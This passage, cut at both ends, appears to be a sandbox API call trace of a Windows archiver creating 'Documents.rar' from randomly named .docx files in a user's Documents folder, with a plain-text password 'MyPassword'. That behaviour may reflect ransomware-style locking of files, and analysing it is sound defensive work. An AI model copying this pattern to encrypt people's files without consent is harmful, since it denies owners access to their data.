lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.144] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14348457753) returned 1 [0068.144] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x8443, lpOverlapped=0x0) returned 1 [0068.145] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a8483, nNumberOfBytesToRead=0xf7bbd, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a8483*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.145] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.145] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.145] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.145] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.145] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b60, Size=0x48) returned 0x39db40 [0068.145] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.145] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.145] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b60, Size=0x48) returned 0x39daf0 [0068.145] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.145] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.145] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.145] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.145] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b90 | out: hHeap=0x2e0000) returned 1 [0068.145] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b60 | out: hHeap=0x2e0000) returned 1 [0068.145] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b30, Size=0x48) returned 0x39db40 [0068.145] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.145] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.145] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.147] GetTickCount () returned 0xa67541 [0068.147] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14348734451) returned 1 [0068.147] GetTickCount () returned 0xa67541 [0068.147] GetTickCount () returned 0xa67541 [0068.147] GetTickCount () returned 0xa67541 [0068.147] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.147] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.147] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.148] ResetEvent (hEvent=0x1a4) returned 1 [0068.148] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.149] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.149] ResetEvent (hEvent=0x1a4) returned 1 [0068.149] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.150] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.150] GetTickCount () returned 0xa67541 [0068.150] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14349049955) returned 1 [0068.150] GetTickCount () returned 0xa67541 [0068.150] GetTickCount () returned 0xa67541 [0068.150] GetTickCount () returned 0xa67541 [0068.150] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.150] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.150] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.150] ResetEvent (hEvent=0x190) returned 1 [0068.150] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.151] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] ResetEvent (hEvent=0x190) returned 1 [0068.151] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.151] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.151] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.151] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1373fa [0068.151] SetFilePointer (in: hFile=0x198, lDistanceToMove=104, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x137462 [0068.151] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.152] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.152] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.152] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.152] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x84c0, lpOverlapped=0x0) returned 1 [0068.152] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.152] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.152] SetFilePointer (in: hFile=0x198, lDistanceToMove=1274874, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1373fa [0068.152] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1373fa [0068.152] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.152] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.152] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b60, Size=0x48) returned 0x39daf0 [0068.152] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.152] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.152] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b60, Size=0x48) returned 0x39db40 [0068.152] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.152] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.152] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.152] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.152] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b90 | out: hHeap=0x2e0000) returned 1 [0068.152] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b60 | out: hHeap=0x2e0000) returned 1 [0068.153] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b30, Size=0x48) returned 0x39daf0 [0068.153] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.153] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x68, lpOverlapped=0x0) returned 1 [0068.153] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.153] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x68) returned 0x3a13a0 [0068.153] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.153] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.153] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x13f922 [0068.153] CloseHandle (hObject=0x1b0) returned 1 [0068.153] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.153] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.153] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.153] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.153] FindFirstFileW (in: lpFileName="IdJZzMH4BMOKYzj.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.153] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.153] CreateFileW (lpFileName="IdJZzMH4BMOKYzj.docx" (normalized: "c:\\users\\whuoxysd\\documents\\idjzzmh4bmokyzj.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.153] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.153] GetTickCount () returned 0xa67541 [0068.153] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.153] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.153] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.153] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.153] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="HaxwmHj 0CtV7r4.docx") returned 20 [0068.153] SetWindowTextW (hWnd=0x10280, lpString="IdJZzMH4BMOKYzj.docx") returned 1 [0068.153] GetTickCount () returned 0xa67541 [0068.154] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.154] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.154] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.154] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.154] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x302)) [0068.154] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.154] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14349439063) returned 1 [0068.154] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x12885, lpOverlapped=0x0) returned 1 [0068.155] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b28c5, nNumberOfBytesToRead=0xed77b, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b28c5*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.155] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.155] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.155] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b90, Size=0x48) returned 0x39db40 [0068.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.155] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b90, Size=0x48) returned 0x39daf0 [0068.155] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.155] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.155] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.155] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bc0 | out: hHeap=0x2e0000) returned 1 [0068.155] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b90 | out: hHeap=0x2e0000) returned 1 [0068.155] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b60, Size=0x48) returned 0x39db40 [0068.155] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.155] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.155] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.156] GetTickCount () returned 0xa67551 [0068.156] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14349633996) returned 1 [0068.156] GetTickCount () returned 0xa67551 [0068.156] GetTickCount () returned 0xa67551 [0068.156] GetTickCount () returned 0xa67551 [0068.156] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.156] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.156] GetFocus () returned 0x0 [0068.156] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.156] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.156] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.156] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.156] ResetEvent (hEvent=0x1a4) returned 1 [0068.156] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.157] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.157] ResetEvent (hEvent=0x1a4) returned 1 [0068.158] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.160] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.160] ResetEvent (hEvent=0x1a4) returned 1 [0068.160] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.162] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.162] GetTickCount () returned 0xa67551 [0068.162] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14350254329) returned 1 [0068.162] GetTickCount () returned 0xa67551 [0068.162] GetTickCount () returned 0xa67551 [0068.162] GetTickCount () returned 0xa67551 [0068.162] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.162] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.162] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.162] ResetEvent (hEvent=0x190) returned 1 [0068.162] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.163] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.163] ResetEvent (hEvent=0x190) returned 1 [0068.163] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.163] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.164] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.164] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x13f922 [0068.164] SetFilePointer (in: hFile=0x198, lDistanceToMove=104, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x13f98a [0068.164] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.164] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.164] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.164] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.164] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x12920, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x12920, lpOverlapped=0x0) returned 1 [0068.165] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.165] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.165] SetFilePointer (in: hFile=0x198, lDistanceToMove=1308962, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x13f922 [0068.165] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x13f922 [0068.165] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.165] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.165] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b90, Size=0x48) returned 0x39daf0 [0068.165] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.165] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.165] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b90, Size=0x48) returned 0x39db40 [0068.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.166] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.166] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bc0 | out: hHeap=0x2e0000) returned 1 [0068.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b90 | out: hHeap=0x2e0000) returned 1 [0068.166] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b60, Size=0x48) returned 0x39daf0 [0068.166] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.166] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x68, lpOverlapped=0x0) returned 1 [0068.166] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.166] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x68) returned 0x3a1410 [0068.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.166] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.166] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1522aa [0068.166] CloseHandle (hObject=0x1b0) returned 1 [0068.166] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.166] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.166] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.166] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.166] FindFirstFileW (in: lpFileName="Jrdm wCY_KpB5kAazb.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.166] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.166] CreateFileW (lpFileName="Jrdm wCY_KpB5kAazb.docx" (normalized: "c:\\users\\whuoxysd\\documents\\jrdm wcy_kpb5kaazb.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.166] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.166] GetTickCount () returned 0xa67551 [0068.166] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.166] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.166] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.166] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.166] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="IdJZzMH4BMOKYzj.docx") returned 20 [0068.166] SetWindowTextW (hWnd=0x10280, lpString="Jrdm wCY_KpB5kAazb.docx") returned 1 [0068.167] GetTickCount () returned 0xa67551 [0068.167] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.167] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.167] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.167] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.167] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x312)) [0068.167] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.167] QueryPerformanceCounter (in: 